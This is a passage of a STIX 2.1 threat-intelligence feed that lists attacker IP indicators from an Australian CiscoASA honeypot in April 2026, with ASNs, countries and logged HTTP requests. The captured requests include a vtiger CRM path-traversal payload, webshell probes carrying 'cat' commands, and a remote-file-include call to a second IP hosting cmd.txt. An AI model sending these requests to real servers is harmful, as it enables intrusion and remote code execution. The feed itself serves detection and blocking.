      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '193.105.134.150']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-24T09:20:10.000Z",
      "valid_until": "2026-05-26T09:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 1,
          "first_seen": "2026-04-24T09:05:07.749Z",
          "last_seen": "2026-04-24T09:05:07.749Z",
          "country": "Sweden",
          "country_code": "SE",
          "asn": 42237,
          "as_org": "w1n ltd",
          "event_types": [
            "\"POST /vtigercrm/phprint.php?action=fa&module=ff&lang_crm=../../cache/import/IMPORT_%00 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-24T09:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /admin/config.php HTTP/1.0\" 404 - geo: IN; ASN 14061 (DigitalOcean, LLC)",
      "id": "indicator--df80ee9b-0244-41e5-ac52-d191fa030de6",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '206.189.133.35']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-24T09:20:10.000Z",
      "valid_until": "2026-05-26T09:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 1,
          "first_seen": "2026-04-24T08:22:02.519Z",
          "last_seen": "2026-04-24T08:22:02.519Z",
          "country": "India",
          "country_code": "IN",
          "asn": 14061,
          "as_org": "DigitalOcean, LLC",
          "event_types": [
            "\"GET /admin/config.php HTTP/1.0\" 404 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-24T09:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: Request timed out: TimeoutError(The read operation timed out) geo: GB; ASN 20860 (Iomart Cloud Services Limited)",
      "id": "indicator--7a115470-acf7-4ac3-845b-b79f20b6bf37",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '212.38.189.186']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-24T09:20:10.000Z",
      "valid_until": "2026-05-26T09:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 6,
          "first_seen": "2026-04-24T09:04:14.583Z",
          "last_seen": "2026-04-24T09:04:25.990Z",
          "country": "United Kingdom",
          "country_code": "GB",
          "asn": 20860,
          "as_org": "Iomart Cloud Services Limited",
          "event_types": [
            "Request timed out: TimeoutError(The read operation timed out)",
            "\"GET /recordings/index.php HTTP/1.1\" 404 -",
            "\"POST /admin/ajax.php HTTP/1.1\" 200 -",
            "\"POST /admin/ajax.php?module=music HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-24T09:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: --------------------------78b98cd8f68a20dc\" 400 - geo: FR; ASN 12876 (Scaleway SAS)",
      "id": "indicator--16964857-567a-4f50-b58d-387795c83d6e",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '212.83.160.70']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-24T09:20:10.000Z",
      "valid_until": "2026-05-26T09:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 3,
          "first_seen": "2026-04-24T09:05:06.301Z",
          "last_seen": "2026-04-24T09:05:06.302Z",
          "country": "France",
          "country_code": "FR",
          "asn": 12876,
          "as_org": "Scaleway SAS",
          "event_types": [
            "\"--------------------------78b98cd8f68a20dc\" 400 -",
            "\"POST /vtigercrm/phprint.php?action=fa&module=ff&lang_crm=../../modules/Import/ImportStep2.php%00 HTTP/1.1\" 200 -",
            "code 400"
          ]
        }
      }
    },
    {
      "created": "2026-04-24T09:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /lang/config.all.php? HTTP/1.1\" 404 - geo: US; ASN 396507 (Emerald Onion)",
      "id": "indicator--e86e3934-d99e-4760-a3f3-377ec8f42cff",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '23.129.64.186']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-24T09:20:10.000Z",
      "valid_until": "2026-05-26T09:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 16,
          "first_seen": "2026-04-24T09:13:37.108Z",
          "last_seen": "2026-04-24T09:13:59.058Z",
          "country": "United States",
          "country_code": "US",
          "asn": 396507,
          "as_org": "Emerald Onion",
          "event_types": [
            "\"GET /lang/config.all.php? HTTP/1.1\" 404 -",
            "\"GET /libs/config.all.php? HTTP/1.1\" 404 -",
            "\"GET /mail/config.all.php? HTTP/1.1\" 404 -",
            "\"GET /maint/config.all.php? HTTP/1.1\" 404 -",
            "\"GET /meetme/config.all.php? HTTP/1.1\" 404 -",
            "\"GET /mobrise/config.all.php? HTTP/1.1\" 404 -",
            "\"GET /modules/config.all.php? HTTP/1.1\" 404 -",
            "\"GET /nwebmail/config.all.php? HTTP/1.1\" 404 -",
            "\"GET /panel/config.all.php? HTTP/1.1\" 404 -",
            "\"GET /panel/dhtml/config.all.php? HTTP/1.1\" 404 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-24T09:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. geo: US; ASN 401401 (Unredacted Inc)",
      "id": "indicator--dc2526f8-691d-4848-a6ae-69eed356c7ff",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '23.191.200.81']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-24T09:20:10.000Z",
      "valid_until": "2026-05-26T09:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 45,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 1,
          "first_seen": "2026-04-24T09:05:47.903Z",
          "last_seen": "2026-04-24T09:05:47.903Z",
          "country": "United States",
          "country_code": "US",
          "asn": 401401,
          "as_org": "Unredacted Inc"
        }
      }
    },
    {
      "created": "2026-04-24T09:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /_asterisk/index.php? HTTP/1.1\" 404 - geo: HU; ASN 41075 (ATW Internet Kft.)",
      "id": "indicator--cacbc805-a27c-47bc-8220-2cd84b73fcbf",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '37.221.208.71']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-24T09:20:10.000Z",
      "valid_until": "2026-05-26T09:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 80,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 35,
          "first_seen": "2026-04-24T09:09:14.985Z",
          "last_seen": "2026-04-24T09:11:08.160Z",
          "country": "Hungary",
          "country_code": "HU",
          "asn": 41075,
          "as_org": "ATW Internet Kft.",
          "event_types": [
            "\"GET /_asterisk/index.php? HTTP/1.1\" 404 -",
            "\"GET /_asterisk/index.php?x HTTP/1.1\" 404 -",
            "\"GET /panel/main.php.1?31 HTTP/1.1\" 404 -",
            "\"GET /panel/main.php?126 HTTP/1.1\" 404 -",
            "\"GET /recordings/11.php? HTTP/1.1\" 404 -",
            "\"GET /recordings/3Zz.php? HTTP/1.1\" 404 -",
            "\"GET /recordings/Go.php? HTTP/1.1\" 404 -",
            "\"GET /recordings/a/config.php? HTTP/1.1\" 404 -",
            "\"GET /recordings/a7/config.php? HTTP/1.1\" 404 -",
            "\"GET /recordings/a7a.php?c=cat+a7a.php& HTTP/1.1\" 404 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-24T09:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: POST /vtigercrm/config.all.php HTTP/1.1\" 200 - geo: US; ASN 27284 (Fourplex Telecom LLC)",
      "id": "indicator--d3398724-c1c8-499a-8ab8-201acea1c93c",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '38.135.24.91']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-24T09:20:10.000Z",
      "valid_until": "2026-05-26T09:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 1,
          "first_seen": "2026-04-24T09:05:09.519Z",
          "last_seen": "2026-04-24T09:05:09.519Z",
          "country": "United States",
          "country_code": "US",
          "asn": 27284,
          "as_org": "Fourplex Telecom LLC",
          "event_types": [
            "\"POST /vtigercrm/config.all.php HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-24T09:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /_asterisk/253582e2ec168f76c0d4755668192ea4fdad110fe4dee9.php?mada=cat+253582e2ec168f76c0d4755668192ea4fdad110fe4dee9.php& HTTP/1.1\" 404 - geo: US; ASN 27284 (Fourplex Telecom LLC)",
      "id": "indicator--b525ac95-ab58-44b7-8261-a115810855f6",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '38.135.25.182']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-24T09:20:10.000Z",
      "valid_until": "2026-05-26T09:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 80,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 51,
          "first_seen": "2026-04-24T09:07:18.337Z",
          "last_seen": "2026-04-24T09:09:13.425Z",
          "country": "United States",
          "country_code": "US",
          "asn": 27284,
          "as_org": "Fourplex Telecom LLC",
          "event_types": [
            "\"GET /_asterisk/253582e2ec168f76c0d4755668192ea4fdad110fe4dee9.php?mada=cat+253582e2ec168f76c0d4755668192ea4fdad110fe4dee9.php& HTTP/1.1\" 404 -",
            "\"GET /a2billing/ws.php?caw HTTP/1.1\" 404 -",
            "\"GET /admin/fortest.php?xa HTTP/1.1\" 404 -",
            "\"GET /admin/modules/admindashboard/phpsysinfo/1.php?czx HTTP/1.1\" 404 -",
            "\"GET /adminconfig.all.php?aa HTTP/1.1\" 404 -",
            "\"GET /adminconfig.all.php?xaa HTTP/1.1\" 404 -",
            "\"GET /atmin/config.php?csasw HTTP/1.1\" 404 -",
            "\"GET /graph.php?module=upload HTTP/1.1\" 404 -",
            "\"GET /graph.php?module=upload&1133 HTTP/1.1\" 404 -",
            "\"GET /main.php.1?1e HTTP/1.1\" 404 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-24T09:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /mail/config.all.php?x HTTP/1.1\" 404 - geo: PL; ASN 210558 (1337 Services GmbH)",
      "id": "indicator--8ebba7d1-4537-4df0-b7e5-832e04c7581b",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '45.138.16.42']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-24T09:20:10.000Z",
      "valid_until": "2026-05-26T09:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 2,
          "first_seen": "2026-04-24T09:15:59.050Z",
          "last_seen": "2026-04-24T09:16:07.916Z",
          "country": "Poland",
          "country_code": "PL",
          "asn": 210558,
          "as_org": "1337 Services GmbH",
          "event_types": [
            "\"GET /mail/config.all.php?x HTTP/1.1\" 404 -",
            "\"GET /nwebmail/config.all.php?x HTTP/1.1\" 404 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-24T09:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /STC_VoIP_PIN/config.all.php?x HTTP/1.1\" 404 - geo: PL; ASN 210558 (1337 Services GmbH)",
      "id": "indicator--7f91396d-d59e-45af-a311-b9c27429d683",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '45.141.215.28']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-24T09:20:10.000Z",
      "valid_until": "2026-05-26T09:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 20,
          "first_seen": "2026-04-24T09:16:23.254Z",
          "last_seen": "2026-04-24T09:16:51.822Z",
          "country": "Poland",
          "country_code": "PL",
          "asn": 210558,
          "as_org": "1337 Services GmbH",
          "event_types": [
            "\"GET /STC_VoIP_PIN/config.all.php?x HTTP/1.1\" 404 -",
            "\"GET /panel/init/config.all.php?x HTTP/1.1\" 404 -",
            "\"GET /panel/ming-source/config.all.php?x HTTP/1.1\" 404 -",
            "\"GET /recordings.old/config.all.php?x HTTP/1.1\" 404 -",
            "\"GET /recordings/config.all.php?x HTTP/1.1\" 404 -",
            "\"GET /recordings/includes/config.all.php?x HTTP/1.1\" 404 -",
            "\"GET /recordings/locale/bg_BG/LC_MESSAGES/config.all.php?x HTTP/1.1\" 404 -",
            "\"GET /recordings/locale/bg_BG/config.all.php?x HTTP/1.1\" 404 -",
            "\"GET /recordings/locale/config.all.php?x HTTP/1.1\" 404 -",
            "\"GET /recordings/misc/config.all.php?x HTTP/1.1\" 404 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-24T09:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /_asterisk/a7a.php?c=cat+a7a.php& HTTP/1.1\" 404 - geo: NL; ASN 210558 (1337 Services GmbH)",
      "id": "indicator--0fc4c120-185b-464e-99c2-eb9e24b7dd09",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '45.154.98.33']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-24T09:20:10.000Z",
      "valid_until": "2026-05-26T09:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 7,
          "first_seen": "2026-04-24T09:06:34.985Z",
          "last_seen": "2026-04-24T09:06:56.146Z",
          "country": "Netherlands",
          "country_code": "NL",
          "asn": 210558,
          "as_org": "1337 Services GmbH",
          "event_types": [
            "\"GET /_asterisk/a7a.php?c=cat+a7a.php& HTTP/1.1\" 404 -",
            "\"GET /_asterisk/sos.php? HTTP/1.1\" 404 -",
            "\"GET /login.php?z HTTP/1.1\" 404 -",
            "\"GET /pew.php?qw HTTP/1.1\" 404 -",
            "\"GET /recordings/theme/config.inc.php? HTTP/1.1\" 404 -",
            "\"GET /recordings/theme/load.php? HTTP/1.1\" 404 -",
            "\"GET /recordings/theme/new.php? HTTP/1.1\" 404 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-24T09:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /panel/config.all.php?x HTTP/1.1\" 404 - geo: NL; ASN 210558 (1337 Services GmbH)",
      "id": "indicator--18557674-26ce-434d-b5a0-c02a4675ee3d",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '45.154.98.52']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-24T09:20:10.000Z",
      "valid_until": "2026-05-26T09:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 2,
          "first_seen": "2026-04-24T09:16:11.638Z",
          "last_seen": "2026-04-24T09:16:18.270Z",
          "country": "Netherlands",
          "country_code": "NL",
          "asn": 210558,
          "as_org": "1337 Services GmbH",
          "event_types": [
            "\"GET /panel/config.all.php?x HTTP/1.1\" 404 -",
            "\"GET /panel/dhtml/config.all.php?x HTTP/1.1\" 404 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-24T09:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /Hima.php?28 HTTP/1.1\" 404 - geo: PL; ASN 210558 (1337 Services GmbH)",
      "id": "indicator--97a5c3e6-1327-4973-baf4-34ebd3c39846",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '45.80.158.27']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-24T09:20:10.000Z",
      "valid_until": "2026-05-26T09:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 5,
          "first_seen": "2026-04-24T09:06:36.760Z",
          "last_seen": "2026-04-24T09:06:42.895Z",
          "country": "Poland",
          "country_code": "PL",
          "asn": 210558,
          "as_org": "1337 Services GmbH",
          "event_types": [
            "\"GET /Hima.php?28 HTTP/1.1\" 404 -",
            "\"GET /admin/modules/vmblast/config.php?cc HTTP/1.1\" 404 -",
            "\"GET /admin/modules/vmblast/index.php?qq HTTP/1.1\" 404 -",
            "\"GET /android.php?c HTTP/1.1\" 404 -",
            "\"GET /mtm.php?c HTTP/1.1\" 404 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-24T09:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: POST /admin/ajax.php HTTP/1.1\" 200 - geo: SE; ASN 214503 (QuxLabs AB)",
      "id": "indicator--7b45c904-6ddc-4ed5-880f-2c2846ce8027",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '45.84.107.17']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-24T09:20:10.000Z",
      "valid_until": "2026-05-26T09:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 9,
          "first_seen": "2026-04-24T09:04:36.088Z",
          "last_seen": "2026-04-24T09:12:20.847Z",
          "country": "Sweden",
          "country_code": "SE",
          "asn": 214503,
          "as_org": "QuxLabs AB",
          "event_types": [
            "\"POST /admin/ajax.php HTTP/1.1\" 200 -",
            "Request timed out: TimeoutError(The read operation timed out)",
            "\"GET /dslvl.php?1123 HTTP/1.1\" 404 -",
            "\"GET /sip.txt?ASdwd HTTP/1.1\" 404 -",
            "\"GET /vtigercrm/ml.php?in=http://212.83.160.70/t/cmd.txt HTTP/1.1\" 404 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-24T09:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /libs/config.all.php?x HTTP/1.1\" 404 - geo: SE; ASN 214503 (QuxLabs AB)",
      "id": "indicator--bab610e9-6cfe-4c83-8a09-9aa336e6d882",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '45.84.107.172']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-24T09:20:10.000Z",
      "valid_until": "2026-05-26T09:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 1,
          "first_seen": "2026-04-24T09:15:55.309Z",
          "last_seen": "2026-04-24T09:15:55.309Z",
          "country": "Sweden",
          "country_code": "SE",
          "asn": 214503,
          "as_org": "QuxLabs AB",
          "event_types": [
            "\"GET /libs/config.all.php?x HTTP/1.1\" 404 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-24T09:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /STC_VoIP_PIN/config.all.php? HTTP/1.1\" 404 - geo: SE; ASN 214503 (QuxLabs AB)",
      "id": "indicator--4de8bbff-f984-4d9e-b242-341fedb6523f",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '45.84.107.174']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-24T09:20:10.000Z",
      "valid_until": "2026-05-26T09:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 17,
          "first_seen": "2026-04-24T09:14:00.583Z",
          "last_seen": "2026-04-24T09:14:31.321Z",
          "country": "Sweden",
          "country_code": "SE",
          "asn": 214503,
          "as_org": "QuxLabs AB",
          "event_types": [
            "\"GET /STC_VoIP_PIN/config.all.php? HTTP/1.1\" 404 -",
            "\"GET /recordings/locale/bg_BG/LC_MESSAGES/config.all.php? HTTP/1.1\" 404 -",
            "\"GET /recordings/locale/bg_BG/config.all.php? HTTP/1.1\" 404 -",
            "\"GET /recordings/locale/config.all.php? HTTP/1.1\" 404 -",
            "\"GET /recordings/misc/config.all.php? HTTP/1.1\" 404 -",
            "\"GET /recordings/modules/config.all.php? HTTP/1.1\" 404 -",
            "\"GET /recordings/theme/config.all.php? HTTP/1.1\" 404 -",
            "\"GET /restapi/config.all.php? HTTP/1.1\" 404 -",
            "\"GET /restapps/config.all.php? HTTP/1.1\" 404 -",
            "\"GET /temp/config.all.php? HTTP/1.1\" 404 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-24T09:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /Z3R0-C00L.php? HTTP/1.1\" 404 - geo: SE; ASN 214503 (QuxLabs AB)",
      "id": "indicator--36514f23-5670-4d3a-abe8-3a787f54e6cf",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '45.84.107.182']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-24T09:20:10.000Z",
      "valid_until": "2026-05-26T09:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 13,
          "first_seen": "2026-04-24T09:05:42.252Z",
          "last_seen": "2026-04-24T09:15:33.257Z",
          "country": "Sweden",
          "country_code": "SE",
          "asn": 214503,
          "as_org": "QuxLabs AB",
          "event_types": [
            "\"GET /Z3R0-C00L.php? HTTP/1.1\" 404 -",
            "\"GET /_asterisk/Ultimatex.php?ed3b0941a97e7f9=admin&asd HTTP/1.1\" 404 -",
            "\"GET /admin/modules/config.php? HTTP/1.1\" 404 -",
            "\"GET /classes/config.all.php?x HTTP/1.1\" 404 -",
            "\"GET /components/config.all.php?x HTTP/1.1\" 404 -",
            "\"GET /config.all.php?x HTTP/1.1\" 404 -",
            "\"GET /config/config.all.php?x HTTP/1.1\" 404 -",
            "\"GET /configs/config.all.php?x HTTP/1.1\" 404 -",
            "\"GET /emo.php?yokyok=cat+emo.php& HTTP/1.1\" 404 -",
            "\"GET /welcome/config.all.php? HTTP/1.1\" 404 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-24T09:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /.1767de7680e3992aa99b451b57af68c6.php? HTTP/1.1\" 404 - geo: SE; ASN 214503 (QuxLabs AB)",
      "id": "indicator--301e86a3-f632-494a-8ceb-fd44118b5710",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '45.84.107.222']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-24T09:20:10.000Z",
      "valid_until": "2026-05-26T09:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
